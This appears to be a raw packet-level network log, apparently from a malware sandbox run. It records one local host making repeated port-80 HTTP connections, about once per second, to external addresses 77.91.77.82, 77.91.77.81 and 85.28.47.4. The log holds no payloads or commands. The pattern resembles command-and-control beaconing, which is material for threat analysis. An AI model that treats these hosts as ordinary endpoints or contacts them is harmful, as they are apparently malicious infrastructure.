Jul 1, 2024 07:21:03.011018038 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:03.011056900 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:03.011060953 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:03.011065960 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:03.011111021 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:03.747091055 CEST	49725	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:03.747534037 CEST	49728	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:03.752207994 CEST	80	49725	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:03.752276897 CEST	49725	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:03.752310991 CEST	80	49728	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:03.752368927 CEST	49728	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:03.752509117 CEST	49728	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:03.757252932 CEST	80	49728	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:03.760037899 CEST	49729	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:21:03.765151024 CEST	80	49729	85.28.47.4	192.168.2.6
Jul 1, 2024 07:21:03.765263081 CEST	49729	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:21:03.765412092 CEST	49729	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:21:03.770447016 CEST	80	49729	85.28.47.4	192.168.2.6
Jul 1, 2024 07:21:04.390774965 CEST	80	49729	85.28.47.4	192.168.2.6
Jul 1, 2024 07:21:04.390877962 CEST	49729	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:21:04.461184025 CEST	80	49728	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:04.461272001 CEST	49728	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:04.575105906 CEST	49728	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:04.575542927 CEST	49730	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:04.580208063 CEST	80	49728	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:04.580269098 CEST	49728	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:04.580275059 CEST	80	49730	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:04.580360889 CEST	49730	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:04.580526114 CEST	49730	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:04.585279942 CEST	80	49730	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:05.294370890 CEST	80	49730	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:05.294476032 CEST	49730	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:05.295376062 CEST	49730	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:05.300101042 CEST	80	49730	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:05.516774893 CEST	80	49730	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:05.518465996 CEST	49730	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:05.637475967 CEST	49730	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:05.637779951 CEST	49731	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:05.642554045 CEST	80	49731	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:05.642630100 CEST	80	49730	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:05.642729044 CEST	49730	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:05.642874002 CEST	49731	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:05.642874002 CEST	49731	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:05.647584915 CEST	80	49731	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:05.984519005 CEST	49729	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:21:06.354954004 CEST	80	49731	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:06.355633020 CEST	49731	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:06.356488943 CEST	49731	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:06.361182928 CEST	80	49731	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:06.575630903 CEST	80	49731	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:06.575828075 CEST	49731	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:06.684273958 CEST	49731	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:06.684648037 CEST	49732	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:06.690287113 CEST	80	49732	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:06.690381050 CEST	49732	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:06.690553904 CEST	49732	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:06.691481113 CEST	80	49731	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:06.691580057 CEST	49731	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:06.695245028 CEST	80	49732	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:07.378638983 CEST	80	49732	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:07.378707886 CEST	49732	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:07.379386902 CEST	49732	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:07.384159088 CEST	80	49732	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:07.594846010 CEST	80	49732	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:07.594918013 CEST	49732	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:07.700018883 CEST	49732	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:07.700426102 CEST	49733	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:07.705269098 CEST	80	49732	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:07.705348969 CEST	49732	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:07.705404043 CEST	80	49733	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:07.705466032 CEST	49733	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:07.705594063 CEST	49733	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:07.711385965 CEST	80	49733	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:08.419699907 CEST	80	49733	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:08.419836998 CEST	49733	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:08.420555115 CEST	49733	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:08.425290108 CEST	80	49733	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:08.641016960 CEST	80	49733	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:08.641086102 CEST	49733	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:08.746820927 CEST	49733	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:08.747163057 CEST	49734	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:08.751939058 CEST	80	49734	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:08.752012968 CEST	80	49733	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:08.752019882 CEST	49734	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:08.752059937 CEST	49733	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:08.752201080 CEST	49734	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:08.756886005 CEST	80	49734	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:09.437381029 CEST	80	49734	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:09.437491894 CEST	49734	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:09.440092087 CEST	49734	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:09.444804907 CEST	80	49734	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:09.659480095 CEST	80	49734	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:09.659554958 CEST	49734	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:09.762784004 CEST	49734	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:09.763425112 CEST	49735	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:09.768326998 CEST	80	49735	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:09.768356085 CEST	80	49734	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:09.768412113 CEST	49734	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:09.768412113 CEST	49735	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:09.768667936 CEST	49735	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:09.773416996 CEST	80	49735	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:10.519560099 CEST	80	49735	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:10.519671917 CEST	49735	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:10.520471096 CEST	49735	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:10.525233984 CEST	80	49735	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:10.912910938 CEST	80	49735	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:10.914253950 CEST	49735	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:11.040469885 CEST	49735	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:11.040770054 CEST	49736	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:11.045540094 CEST	80	49736	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:11.045567989 CEST	80	49735	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:11.045679092 CEST	49735	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:11.045690060 CEST	49736	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:11.045825958 CEST	49736	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:11.050601959 CEST	80	49736	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:11.731226921 CEST	80	49736	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:11.731287003 CEST	49736	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:11.732011080 CEST	49736	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:11.736814022 CEST	80	49736	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:11.947590113 CEST	80	49736	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:11.947784901 CEST	49736	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:12.059953928 CEST	49736	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:12.060257912 CEST	49737	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:12.065356016 CEST	80	49737	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:12.065387011 CEST	80	49736	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:12.065433979 CEST	49737	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:12.065463066 CEST	49736	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:12.065716028 CEST	49737	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:12.070485115 CEST	80	49737	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:12.750904083 CEST	80	49737	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:12.751091003 CEST	49737	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:12.751775026 CEST	49737	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:12.756524086 CEST	80	49737	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:12.966866970 CEST	80	49737	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:12.967106104 CEST	49737	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:13.079049110 CEST	49737	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:13.080506086 CEST	49738	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:13.084203005 CEST	80	49737	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:13.085264921 CEST	80	49738	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:13.086502075 CEST	49737	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:13.086544991 CEST	49738	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:13.128859997 CEST	49738	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:13.133995056 CEST	80	49738	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:13.786231041 CEST	80	49738	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:13.786511898 CEST	49738	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:13.787364006 CEST	49738	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:13.792140961 CEST	80	49738	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:14.003333092 CEST	80	49738	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:14.003418922 CEST	49738	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:14.106307983 CEST	49738	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:14.106652021 CEST	49739	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:14.111530066 CEST	80	49738	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:14.111661911 CEST	80	49739	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:14.111731052 CEST	49738	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:14.111766100 CEST	49739	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:14.111985922 CEST	49739	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:14.119375944 CEST	80	49739	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:14.816750050 CEST	80	49739	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:14.816850901 CEST	49739	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:14.817512035 CEST	49739	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:14.822468042 CEST	80	49739	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:15.037565947 CEST	80	49739	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:15.037687063 CEST	49739	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:15.159955978 CEST	49739	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:15.160284996 CEST	49740	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:15.166713953 CEST	80	49739	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:15.166723013 CEST	80	49740	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:15.166825056 CEST	49740	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:15.166832924 CEST	49739	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:15.167414904 CEST	49740	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:15.173655987 CEST	80	49740	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:15.882221937 CEST	80	49740	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:15.882433891 CEST	49740	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:15.883419991 CEST	49740	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:15.888221979 CEST	80	49740	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:16.102793932 CEST	80	49740	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:16.103009939 CEST	49740	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:16.215605021 CEST	49740	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:16.215991974 CEST	49741	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:16.221724987 CEST	80	49740	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:16.221915007 CEST	49740	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:16.222127914 CEST	80	49741	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:16.222218990 CEST	49741	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:16.222383976 CEST	49741	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:16.228035927 CEST	80	49741	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:16.938378096 CEST	80	49741	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:16.938520908 CEST	49741	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:16.939225912 CEST	49741	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:16.943957090 CEST	80	49741	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:17.162379980 CEST	80	49741	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:17.162534952 CEST	49741	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:17.277992010 CEST	49741	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:17.278435946 CEST	49742	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:17.283258915 CEST	80	49742	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:17.283354044 CEST	80	49741	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:17.283528090 CEST	49742	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:17.283528090 CEST	49741	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:17.283890963 CEST	49742	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:17.288883924 CEST	80	49742	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:18.017376900 CEST	80	49742	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:18.017463923 CEST	49742	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:18.024512053 CEST	49742	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:18.029321909 CEST	80	49742	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:18.254620075 CEST	80	49742	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:18.254801035 CEST	49742	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:18.371786118 CEST	49742	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:18.372162104 CEST	49743	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:18.376784086 CEST	80	49742	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:18.376847029 CEST	49742	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:18.376868963 CEST	80	49743	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:18.376940966 CEST	49743	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:18.377114058 CEST	49743	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:18.381899118 CEST	80	49743	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:19.072810888 CEST	80	49743	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:19.073106050 CEST	49743	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:19.073928118 CEST	49743	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:19.078644037 CEST	80	49743	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:19.295723915 CEST	80	49743	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:19.295947075 CEST	49743	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:19.403091908 CEST	49743	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:19.403512955 CEST	49745	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:19.408416033 CEST	80	49743	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:19.408432961 CEST	80	49745	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:19.408514023 CEST	49743	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:19.408555031 CEST	49745	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:19.408701897 CEST	49745	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:19.413422108 CEST	80	49745	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:20.095431089 CEST	80	49745	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:20.095547915 CEST	49745	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:20.096350908 CEST	49745	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:20.101080894 CEST	80	49745	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:20.312747955 CEST	80	49745	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:20.312863111 CEST	49745	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:20.418716908 CEST	49745	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:20.419028997 CEST	49746	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:20.423934937 CEST	80	49746	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:20.424001932 CEST	49746	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:20.424088955 CEST	80	49745	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:20.424135923 CEST	49745	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:20.424269915 CEST	49746	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:20.429011106 CEST	80	49746	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:21.119445086 CEST	80	49746	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:21.122534990 CEST	49746	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:21.123279095 CEST	49746	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:21.127989054 CEST	80	49746	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:21.343878984 CEST	80	49746	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:21.344669104 CEST	49746	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:21.449692011 CEST	49746	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:21.450007915 CEST	49747	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:21.454885960 CEST	80	49747	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:21.455007076 CEST	80	49746	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:21.455024004 CEST	49747	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:21.455059052 CEST	49746	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:21.455214024 CEST	49747	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:21.460459948 CEST	80	49747	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:22.165599108 CEST	80	49747	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:22.166037083 CEST	49747	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:22.166769981 CEST	49747	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:22.171547890 CEST	80	49747	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:22.391905069 CEST	80	49747	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:22.392095089 CEST	49747	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:22.497014999 CEST	49747	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:22.497385979 CEST	49748	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:22.673271894 CEST	80	49748	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:22.673401117 CEST	49748	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:22.673496962 CEST	80	49747	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:22.673563004 CEST	49747	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:22.673702955 CEST	49748	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:22.678442001 CEST	80	49748	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:23.380917072 CEST	80	49748	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:23.380991936 CEST	49748	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:23.382240057 CEST	49748	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:23.387131929 CEST	80	49748	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:23.606761932 CEST	80	49748	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:23.606873989 CEST	49748	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:23.715754986 CEST	49748	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:23.716097116 CEST	49749	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:23.720947027 CEST	80	49749	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:23.721195936 CEST	80	49748	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:23.721276999 CEST	49748	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:23.721293926 CEST	49749	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:23.721509933 CEST	49749	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:23.726305962 CEST	80	49749	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:24.420526981 CEST	80	49749	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:24.422565937 CEST	49749	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:24.423283100 CEST	49749	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:24.428011894 CEST	80	49749	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:24.643723965 CEST	80	49749	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:24.643893003 CEST	49749	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:24.746881962 CEST	49749	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:24.747194052 CEST	49750	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:24.752264023 CEST	80	49750	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:24.752403021 CEST	49750	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:24.752465010 CEST	80	49749	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:24.752532005 CEST	49749	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:24.752608061 CEST	49750	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:24.757385015 CEST	80	49750	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:25.482597113 CEST	80	49750	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:25.482706070 CEST	49750	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:25.483413935 CEST	49750	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:25.488151073 CEST	80	49750	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:25.712311983 CEST	80	49750	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:25.712460995 CEST	49750	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:25.872596025 CEST	49750	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:25.872920036 CEST	49751	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:25.877912045 CEST	80	49750	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:25.877991915 CEST	49750	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:25.878042936 CEST	80	49751	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:25.878107071 CEST	49751	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:25.878251076 CEST	49751	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:25.883022070 CEST	80	49751	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:26.592211008 CEST	80	49751	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:26.592309952 CEST	49751	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:26.595305920 CEST	49751	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:26.600084066 CEST	80	49751	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:26.815927982 CEST	80	49751	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:26.816123962 CEST	49751	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:26.918908119 CEST	49751	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:26.919212103 CEST	49752	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:26.923954964 CEST	80	49752	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:26.924052954 CEST	49752	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:26.924165964 CEST	80	49751	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:26.924207926 CEST	49751	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:26.924381971 CEST	49752	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:26.929112911 CEST	80	49752	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:27.636337042 CEST	80	49752	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:27.636404991 CEST	49752	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:27.637310982 CEST	49752	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:27.642122030 CEST	80	49752	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:27.857934952 CEST	80	49752	77.91.77.82	192.168.2.6
Jul 1, 2024 07:21:27.858019114 CEST	49752	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:27.965857029 CEST	49752	80	192.168.2.6	77.91.77.82
Jul 1, 2024 07:21:27.966238976 CEST	49753	80	192.168.2.6	77.91.77.82
